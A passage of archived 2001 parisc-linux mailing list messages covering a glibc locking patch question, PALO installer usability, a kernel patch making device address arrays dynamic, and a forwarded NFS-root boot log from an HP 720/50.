Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] testandset
Date: Fri, 21 Sep 2001 12:10:56 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20010921121056.D25803@megatonmonkey.net>
References: <20010921113700.A25803@megatonmonkey.net> <20010921164239.C27323@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620497 25845 80.91.229.3 (22 Nov 2014 01:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 10:09:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA5D6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 10:09:58 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8LGUaG32700;
	Fri, 21 Sep 2001 12:30:36 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8LGAuU29807;
	Fri, 21 Sep 2001 12:10:56 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010921164239.C27323@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Sep 21, 2001 at 04:42:39PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12238

> > I'm sitting scratching my head becaues the ./sysdeps/hppa/dl-fptr.c
> > is peppered with testandset, which used to be in pt-machine.h,
> > but is now called try_lock within pt-machine.h
> 
> um, the hppa.dpatch definitely does patch this.  perhaps you were
> overzealous with trimming the ia64 part of the patch?
>

Hrm. Maybe. I remember cutting out only the ia64 part.
I'll zip through the patch again.

<carlos goes to check>

Hrm. Time to start vaping source trees.
The only diff from the patches is the ia64 stuff. Which I've
fixed to use try_lock, so it's not necc anymore.

I am now sure that I've been using the dpkg tools incorrectly.
I will follow the steps you've outlined and do some more reading.

Thanks for the help M.

Cheers,
c. 




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 10:42:51 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <87g09gpkac.fsf@rover.gag.com>
References: <andreas@malcolm.in-chemnitz.de>
	<200109211603.KAA01633@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620498 25848 80.91.229.3 (22 Nov 2014 01:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 10:44:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from merulo.debian.org (merulo.external.hp.com [192.25.206.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEFBC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 10:44:11 -0600 (MDT)
Original-Received: from winfree.gag.com [192.133.104.8] 
	by merulo.debian.org with esmtp (Exim 3.32 1 (Debian))
	id 15kTPO-0004Bd-00; Fri, 21 Sep 2001 10:44:10 -0600
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 8835E24F03
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 10:44:09 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 5F2993BC52; Fri, 21 Sep 2001 10:42:51 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <200109211603.KAA01633@puffin.external.hp.com>
 (grundler@puffin.external.hp.com's message of "21 Sep 2001 10:06:08
 -0600")
Original-Lines: 37
User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:12239

grundler@puffin.external.hp.com (Grant Grundler) writes:

> =?iso-8859-1?Q?Andreas_H=E4rtel?= wrote:
> > It is difficult to understand for a newbie, that PALO needs file system type
>> 'F0' but this type is unknown by fdisk.
>> Or the 2. mistake, the partition where vmlinux is located must be lower or
>> equal 2 GByte.
>
> Both issues are documented in the palo documentation.

Clearly, then, "just" having them documented is insufficient.

I noted when doing an install from the 0.9.2 CD myself the other day that we
paint a splash screen before disk partitioning explaining that there needs to
be a palo partition, but that splash screen doesn't mention the 2G issue.  
Perhaps it could be updated with some additional text?

Also, since cfdisk is the default partitioning tool called by the Debian install
process, if the definition of partition type F0 isn't already part of the 
list of partition types displayed by cfdisk when you pick the command to change
the partition type, perhaps it should get added?  It might well be disconcerting
to a new user without much Debian or hppa experience to have to type in a 
partition type that's not on the menu.

I think those two steps would improve the probability that folks are successful
installing.

Finally, it sounds as though the user-space palo executable is not checking all
of these constraints to warn the user about problems, though I haven't tried to
test that and so don't really know what it does or does not do.  It certainly
seems prudent for palo to do so... and give the user some guidance through
appropriate warning/error text about what to do to fix the problem.

In summary, I think we ought to be thinking about how to help the user get this
right beyond "just" making sure the constraints are documented.

Bdale




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Additional Address cleanup
Date: Fri, 21 Sep 2001 10:48:38 -0600
Lines: 353
Approved: news@gmane.org
Message-ID: <20010921104838.A2049@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Nq2Wo0NMKNjxTN9z"
X-Trace: ger.gmane.org 1416620498 25851 80.91.229.3 (22 Nov 2014 01:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 10:48:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBF18482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 10:48:39 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 5F6C7BD74; Fri, 21 Sep 2001 10:48:38 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12240

--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello parisc-linux hackers,

I have a small patch which allows the additional addresses to
be allocated dynamically instead of a static array.  The patch
itself is pretty simple, but I made one simplification that
I wanted to run by the experts before committing the patch.

The simplification I made was to remove the HPA from index
0 of the addr[] in the parisc_device.  I feel this is redundant
since the device already records the HPA with the hpa field.
By not including the HPA, it also saves a kmalloc on every
parisc device to store the HPA, and an additional kfree/kmalloc
when the device actually has additional addresses to store.

Currently, the only device that is using the additional
addresses is the STI driver, and it blindly reads from
addr[1] for the location of a graphics card.  Nothing else
besides the adding/printing of the additional addresses
every uses the addr field in the parisc device.

So can I safely remove the HPA from addr[0] as I've done with
the attached patch?  Or will I break future device support
if the HPA is not present?

Thanks,

- Ryan

P.S. I have tested this patch on C200+ with serial console,
712/100 with STI console, and compiled it at 64-bit.

--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="addr.patch"

? addr.diff
? arch/parisc/kernel/Makefile.iotree
? arch/parisc/kernel/drivers.c.iotree
? arch/parisc/kernel/inventory.c.iotree
? arch/parisc/kernel/iotree.c
Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.24
diff -u -p -r1.24 drivers.c
--- arch/parisc/kernel/drivers.c	2001/09/18 01:14:18	1.24
+++ arch/parisc/kernel/drivers.c	2001/09/21 16:21:46
@@ -174,30 +174,6 @@ int get_num_pa_dev(void)
 	return i;
 }
 
-/**
- * add_pa_dev_addr - Add an additional address to the list of addresses of a HP device
- * @hp_device: the PA-RISC device structure
- * @addr: the address to be added
- */
-int add_pa_dev_addr(struct parisc_device *hp_device, unsigned long addr)
-{
-	if (!hp_device || !addr)
-	    return 0;
-
-	if (hp_device->num_addrs >= MAX_ADD_ADDRS) {
-	    printk(KERN_ERR "%s: Too many additional addresses. "
-			"Increase the value of MAX_ADD_ADDRS in harware.h !\n",
-			__FUNCTION__ );
-	    return 0;
-	}
-
-	hp_device->addr[hp_device->num_addrs] = addr;
-	hp_device->num_addrs++;
-
-	return hp_device->num_addrs;
-}
-
-
 struct parisc_device *alloc_pa_dev(unsigned long hpa)
 {
 	int i, status;
@@ -243,13 +219,9 @@ struct parisc_device *alloc_pa_dev(unsig
 		strncpy(dev->name, name, sizeof(dev->name)-1);
 	}
 
-	/* add the hpa of this module as the first additional address */
-	add_pa_dev_addr(dev, hpa);
-
 	num_devices++;
 
 	write_unlock(&pa_lock);
-
 	return dev;
 }
 
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/inventory.c,v
retrieving revision 1.35
diff -u -p -r1.35 inventory.c
--- arch/parisc/kernel/inventory.c	2001/09/18 16:12:08	1.35
+++ arch/parisc/kernel/inventory.c	2001/09/21 16:21:46
@@ -15,6 +15,8 @@
 
 #include <linux/types.h>
 #include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/slab.h>
 #include <linux/mm.h>
 #include <asm/hardware.h>
 #include <asm/io.h>
@@ -30,7 +32,7 @@
 
 int pdc_type = PDC_TYPE_ILLEGAL;
 
-void setup_pdc(void)
+void __init setup_pdc(void)
 {
 	long status;
 	unsigned int bus_id;
@@ -108,9 +110,9 @@ void setup_pdc(void)
 
 #define PDC_PAGE_ADJ_SHIFT (PAGE_SHIFT - 12) /* pdc pages are always 4k */
 
-static void set_pmem_entry(physmem_range_t *pmem_ptr,
-			   unsigned long start,
-			   unsigned long pages4k)
+static void __init
+set_pmem_entry(physmem_range_t *pmem_ptr, unsigned long start,
+	       unsigned long pages4k)
 {
 	/* Rather than aligning and potentially throwing away
 	 * memory, we'll assume that any ranges are already
@@ -129,7 +131,7 @@ static void set_pmem_entry(physmem_range
 	pmem_ptr->pages = (pages4k >> PDC_PAGE_ADJ_SHIFT);
 }
 
-void do_pagezero_memconfig(void)
+void __init do_pagezero_memconfig(void)
 {
 	unsigned long npages;
 
@@ -168,7 +170,8 @@ void do_pagezero_memconfig(void)
 **
 */
 
-static int pat_query_module(ulong pcell_loc, ulong mod_index)
+static int __init 
+pat_query_module(ulong pcell_loc, ulong mod_index)
 {
 	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
 	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;
@@ -272,7 +275,7 @@ static int pat_query_module(ulong pcell_
 
 #define PAT_MAX_RANGES (4 * MAX_PHYSMEM_RANGES)
 
-static void do_pat_memconfig(void)
+static void __init do_pat_memconfig(void)
 {
 	unsigned long actual_len;
 	struct pdc_pat_pd_addr_map_entry mem_table[PAT_MAX_RANGES+1];
@@ -338,7 +341,7 @@ static void do_pat_memconfig(void)
 	}
 }
 
-static int do_pat_inventory(void)
+static int __init do_pat_inventory(void)
 {
 	int status;
 	ulong mod_index = 0;
@@ -367,7 +370,7 @@ static int do_pat_inventory(void)
 
 /* We only look for extended memory ranges on a 64 bit capable box */
 
-static void do_system_map_memconfig(void)
+static void __init do_system_map_memconfig(void)
 {
 	struct pdc_memory_table_raddr r_addr;
 	struct pdc_memory_table mem_table[MAX_PHYSMEM_RANGES];
@@ -416,8 +419,9 @@ static void do_system_map_memconfig(void
 
 /* All of the older legacy box (32 bit only) code goes here */
 
-static struct parisc_device *legacy_create_device(struct pdc_memory_map *r_addr,
-		struct pdc_module_path *module_path)
+static struct parisc_device * __init 
+legacy_create_device(struct pdc_memory_map *r_addr,
+		     struct pdc_module_path *module_path)
 {
 	struct parisc_device *dev;
 	int status = pdc_mem_map_hpa(r_addr, module_path);
@@ -441,7 +445,7 @@ static struct parisc_device *legacy_crea
  * sub-devices which are discovered by setting bc[5] to 0 and bc[4] to the
  * module, then trying all possible functions.
  */
-int do_legacy_inventory(void)
+int __init do_legacy_inventory(void)
 {
 	int mod, num = 0;
 	for (mod = 0; mod < 16; mod++) {
@@ -509,13 +513,56 @@ int do_native_bus_walk(unsigned long hpa
 	return num;
 }
 
-static int do_system_map_inventory(void)
+/**
+ * add_system_map_addresses - Add additional addresses to the parisc device.
+ * @dev: The parisce device.
+ * @num_addrs: Then number of addresses to add;
+ * @module_instance: The system_map module instance.
+ *
+ * This function adds any additional addresses reported by the system_map
+ * firmware to the parisc device.
+ */
+static __init void
+add_system_map_addresses(struct parisc_device *dev, int num_addrs, 
+			 int module_instance)
+{
+	int i;
+	long status;
+	struct pdc_system_map_addr_info addr_result;
+
+	dev->addr = kmalloc(sizeof(unsigned long), num_addrs);
+	if(!dev->addr) {
+		printk(KERN_ERR "%s %s(): memory allocation failure\n",
+		       __FILE__, __FUNCTION__);
+		return;
+	}
+
+	for(i = 0; i < num_addrs; ++i) {
+		status = pdc_system_map_find_addrs(&addr_result, 
+						   module_instance, i);
+		if(PDC_RET_OK == status) {
+			dev->addr[dev->num_addrs] = (unsigned long)addr_result.mod_addr;
+			dev->num_addrs++;
+		} else {
+			printk(KERN_WARNING 
+			       "Bad PDC_FIND_ADDRESS status return (%ld) for index %d\n",
+			       status, i);
+		}
+	}
+}
+
+/**
+ * do_system_map_inventory - Retrieve firmware devices via SYSTEM_MAP.
+ *
+ * This function attempts to retrieve and register all the devices firmware
+ * knows about via the SYSTEM_MAP PDC call.
+ */
+static int __init do_system_map_inventory(void)
 {
-	int i, j, num;
+	int i, num;
 	long status;
 	struct parisc_device *dev;
 	struct pdc_system_map_mod_info module_result;
-	struct pdc_system_map_addr_info addr_result;
 	struct pdc_module_path module_path;
 
 	/* So the idea here is to simply try one SYSTEM_MAP call.  If 
@@ -528,41 +575,31 @@ static int do_system_map_inventory(void)
 	num = 0;
 	for (i = 0; status != PDC_RET_NE_PROC && status != PDC_RET_NE_MOD; ++i) {
 
-		status = pdc_system_map_find_mods(&module_result, &module_path, i);
+		status = pdc_system_map_find_mods(&module_result, 
+						  &module_path, i);
 		if (status != PDC_RET_OK)
 			continue;
 		
-		dev = alloc_pa_dev((unsigned long) module_result.mod_addr);
-		if (!dev)
+		dev = alloc_pa_dev((unsigned long)module_result.mod_addr);
+		if(!dev)
 			continue;
 		
 		register_parisc_device(dev);
 		++num;
 
 		/* if available, get the additional addresses for a module */
-		if (!module_result.add_addrs)
+		if(!module_result.add_addrs)
 			continue;
 
-		for (j = 1; j <= module_result.add_addrs; ++j) {
-			status = pdc_system_map_find_addrs(&addr_result, i, j);
-			if (status == PDC_RET_OK) {
-				add_pa_dev_addr(dev, (unsigned long)
-						addr_result.mod_addr);
-			} else {
-				printk(KERN_WARNING 
-					"Bad PDC_FIND_ADDRESS status return (%ld) for index %d\n",
-					status, j);
-				status = PDC_RET_OK;	/* reset status for outer loop */
-			}
-		}
-	} /* end of main loop */
+		add_system_map_addresses(dev, module_result.add_addrs, i);
+	}
 
 	/* Walk the system bus */
 	num += do_native_bus_walk(FPA);
 	return num;
 }
 
-void do_memory_inventory(void)
+void __init do_memory_inventory(void)
 {
 	switch (pdc_type) {
 
@@ -589,7 +626,7 @@ void do_memory_inventory(void)
 	}
 }
 
-void do_device_inventory(void)
+void __init do_device_inventory(void)
 {
 	int num;
 
Index: drivers/video/sti/sticore.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/video/sti/sticore.c,v
retrieving revision 1.22
diff -u -p -r1.22 sticore.c
--- drivers/video/sti/sticore.c	2001/08/22 13:23:47	1.22
+++ drivers/video/sti/sticore.c	2001/09/21 16:21:51
@@ -833,7 +833,11 @@ out_err:
  */
 static int __init sticore_pa_init(struct parisc_device *dev)
 {
-	unsigned long rom = dev->addr[1];
+	unsigned long rom;
+
+	if(dev->num_addrs) {
+		rom = dev->addr[0];
+	}
 	if (!rom) {
 		rom = PAGE0->proc_sti;
 	}
Index: include/asm-parisc/hardware.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/hardware.h,v
retrieving revision 1.21
diff -u -p -r1.21 hardware.h
--- include/asm-parisc/hardware.h	2001/09/18 01:14:19	1.21
+++ include/asm-parisc/hardware.h	2001/09/21 16:21:52
@@ -21,9 +21,6 @@ struct hp_hardware {
 	const char	name[80];	/* The hardware description */
 };
 
-
-#define MAX_ADD_ADDRS	5	/* 5 additional address ranges should be sufficient */

From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 11:31:51 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <200109211731.LAA01939@puffin.external.hp.com>
References: <bdale@gag.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620498 25854 80.91.229.3 (22 Nov 2014 01:41:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 11:34:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8375482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 11:34:29 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA01939;
	Fri, 21 Sep 2001 11:31:51 -0600
In-Reply-To: Message from Bdale Garbee <bdale@gag.com> 
   of "Fri, 21 Sep 2001 10:42:51 MDT." <87g09gpkac.fsf@rover.gag.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12241

Bdale Garbee wrote:
> Clearly, then, "just" having them documented is insufficient.

Agreed - that's why I asked Andreas where he looked.

> I noted when doing an install from the 0.9.2 CD myself the other day that we
> paint a splash screen before disk partitioning explaining that there needs to
> be a palo partition, but that splash screen doesn't mention the 2G issue.  
> Perhaps it could be updated with some additional text?

Excellent idea. Who knows where the disk partitioning text is?
(and can someone sign up to "fix" it?)
Or perhaps Andreas can file a bug report? Where?

> In summary, I think we ought to be thinking about how to help the user get
> this right beyond "just" making sure the constraints are documented.

Certainly. But we had to start someplace. I'm happy Paul wrote
*any* documentation - an excellent set of documentation no less
and packaged the whole mess.

IMHO, new folks need to get involved for stuff like palo enhancements.
I'm sure Paul would welcome any patches people cook up.

Most of the original developers have moved on to other things and aren't
actively contributing in new features or enhancing existing documents/code.
This evolution seems natural since the types of issues outstanding today
are quite different than those from one or two years ago.


thanks,
grant




From - Thu Nov 08 21:19:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nfsroot login problems on 720/50
Date: Fri, 21 Sep 2001 19:35:53 +0200
Lines: 210
Approved: news@gmane.org
Message-ID: <20010921193553.A11874@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620499 25859 80.91.229.3 (22 Nov 2014 01:41:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 11:37:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7CB7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 11:37:05 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15kUEY-0004al-00
	for parisc-linux@lists.parisc-linux.org; Fri, 21 Sep 2001 19:37:02 +0200
Original-Received: (qmail 9046 invoked from network); 21 Sep 2001 17:37:02 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 21 Sep 2001 17:37:02 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15kUDR-00039P-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 19:35:53 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15kUEY-0004al-00*YvOCUaJEa7M* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12242

Good day,

This message was also sent to debian-hppa. I was wondering anyone on
this list had any ideas?

Regards,

Albert

----- Forwarded message from Albert Strasheim <fullung@ilink.nis.za> -----

From: Albert Strasheim <fullung@ilink.nis.za>
Subject: Re: Getting up and running (whoo!)
To: debian-hppa@lists.debian.org

Greetings,

It boots! Or something :-) After borrowing some terminators from my
friend, I have the following success to report:

I've managed to boot my 720/50 using Linux 2.4.9-pa20 (not -pa22 as I
stated in my original post)  over the LAN (with a make palo lifimage),
using a combination of rbootd (for the lifimage), bootpd (for the IP
address and such), and the userspace nfs daemon for the
baseplus-20010404.tar.gz NFS root.

The boot-up went as follows:

(c) Copyright.  Hewlett-Packard Company.  1991.
All rights reserved.

PDC ROM rev. 2.3
IODC ROM rev. 2.2
96 MB of memory configured and tested.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Search terminated.



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b lan

Trying lan.000000-000000.0.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl 0.94 fullung@dogbert Sun Sep 16 00:52:51 SAST 2001
0/vmlinux32 3149283 bytes @ 0x7800

Command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.1.1 ip=bootp  console=ttyS0'

Kernel: partition 0 file /vmlinux
Warning: kernel name doesn't end with 32 or 64... Guessing 32
ELF32 executable
Entry 001000d0 first 00100000 n 5
Segment 0 load 00100000 size 1714304 mediaptr 0x1000
Segment 1 load 002a4000 size 281768 mediaptr 0x1a4000
Segment 2 load 002ec000 size 385024 mediaptr 0x1e9000
Segment 3 load 00350000 size 32768 mediaptr 0x247000
Segment 4 load 0038d684 size 88032 mediaptr 0x24f684
branching to kernel entry point 0x001000d0
Linux version 2.4.9-pa20 (fullung@dogbert) (gcc version 3.0.2 20010829 (prerelease)) #6 Sun Sep 16 13:45:08 SAST 2001
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
model	00002000 00000481 00000000 00000000 77544852 000011f4 00000004 0000000d 00000000
vers	00000003
CPUID	vers 0 rev 0
model	9000/720
Total Memory: 96 Mb
On node 0 totalpages: 24576
zone(0): 24576 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77
2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70
3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71
4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72
5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73
6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75
7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75
8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74
9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4
10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9
That's a total of 10 devices.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.1.1 ip=bootp  console=ttyS0
Console: colour dummy device 160x64
Calibrating delay loop... 49.76 BogoMIPS
Memory: 93884k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Asp version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI byte mode ROM at f8000000, hpa=f8000000
STI byte mode ROM, id 26d1488c-40a00499, conforms to spec rev. 8.02
STI device: HPA1924A
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: keyboard found at id 0
HIL: keymap loaded.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 25 4B E1 IRQ 87.
82596.c $Revision: 1.22 $
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64
md: linear personality registered
md: raid0 personality registered
md: raid1 personality registered
md: raid5 personality registered
raid5: measuring checksumming speed
   8regs     :    33.600 MB/sec
   8regs_prefetch:    40.800 MB/sec
   32regs    :    32.400 MB/sec
   32regs_prefetch:    41.600 MB/sec
raid5: using function: 32regs_prefetch (41.600 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
eth0: link ok.
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 10.0.1.1, my address is 10.0.1.2
IP-Config: Complete:
      device=eth0, addr=10.0.1.2, mask=255.255.255.0, gw=255.255.255.255,
     host=bob, domain=, nis-domain=(none),
     bootserver=10.0.1.1, rootserver=10.0.1.1, rootpath=
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 10.0.1.1
Looking up port of RPC 100005/1 on 10.0.1.1
VFS: Mounted root (nfs filesystem) readonly.
INIT: version 2.78 booting
rcS(13): unaligned access to 0x0007dca3 at ip=0x0005d807
Not-handled unaligned insn 0x0cd31200
Unaligned handler failed, ret = -1 INIT: Entering runlevel: 2
<4>rc(16): unaligned access to 0x0007dca3 at ip=0x0005d807
